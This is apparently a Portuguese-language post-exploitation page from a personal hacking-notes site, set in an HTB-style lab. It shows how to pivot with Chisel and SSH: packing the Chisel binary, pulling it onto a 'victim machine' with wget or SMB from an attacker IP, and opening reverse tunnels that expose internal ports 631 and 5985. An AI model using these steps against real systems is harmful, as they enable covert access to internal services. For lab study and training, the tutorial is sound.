> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/post-exploitation/port-forwarding-techniques.md).
# Técnicas de Encaminhamento de Porta
{% hint style="info" %}
**Encaminhamento de porta** é uma técnica de rede que redireciona conexões de uma porta específica em uma máquina para outra máquina ou porta. Isso é frequentemente usado para acessar serviços internos de fora, passando por firewalls ou roteadores.
{% endhint %}
netstat -tuln
netstat -ano | findstr LISTENING
## Chisel :
### Linux
Primeiro compilamos o Chisel em nossa máquina local:
{% embed url="" %}
```bash
git clone https://github.com/jpillora/chisel
```
```bash
go build -ldflags "-s -w" .
upx chisel
```
Depois, transfira o executável Chisel para a máquina da vítima por meio de um servidor HTTP Python3:
```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```
Em nossa máquina, iniciamos o servidor Chisel:
./chisel server -p 8888 -reverse
Na máquina da vítima, configure o cliente Chisel para encaminhar a porta 631 de volta para a máquina atacante:
```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```
### Windows
{% embed url="" %}
**Baixando e preparando os arquivos:**/ Baixamos o compactado **Chisel** arquivos, a saber:
* `chisel-linux`
* `chisel-windows.exe`
{% embed url="" %}
{% embed url="" %}
Depois de extrair os arquivos, transfira o **Chisel** binário para o alvo Windows:
```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```
**Ouvindo na máquina atacante com o Chisel:**/ Inicie **Chisel** em modo servidor na máquina atacante na porta 8888:
```bash
./chisel-linux server -p 8888 -reverse
```
Então, na máquina Windows, execute **Chisel** em modo cliente e encaminhe a porta 5985 de volta para a máquina atacante:
```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```
## SSH :
Redirecionamos as portas internas para nossa máquina e usamos a chave privada do usuário e aplicamos as permissões corretas:
```bash
chmod 600 id_rsa
```
```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```
---
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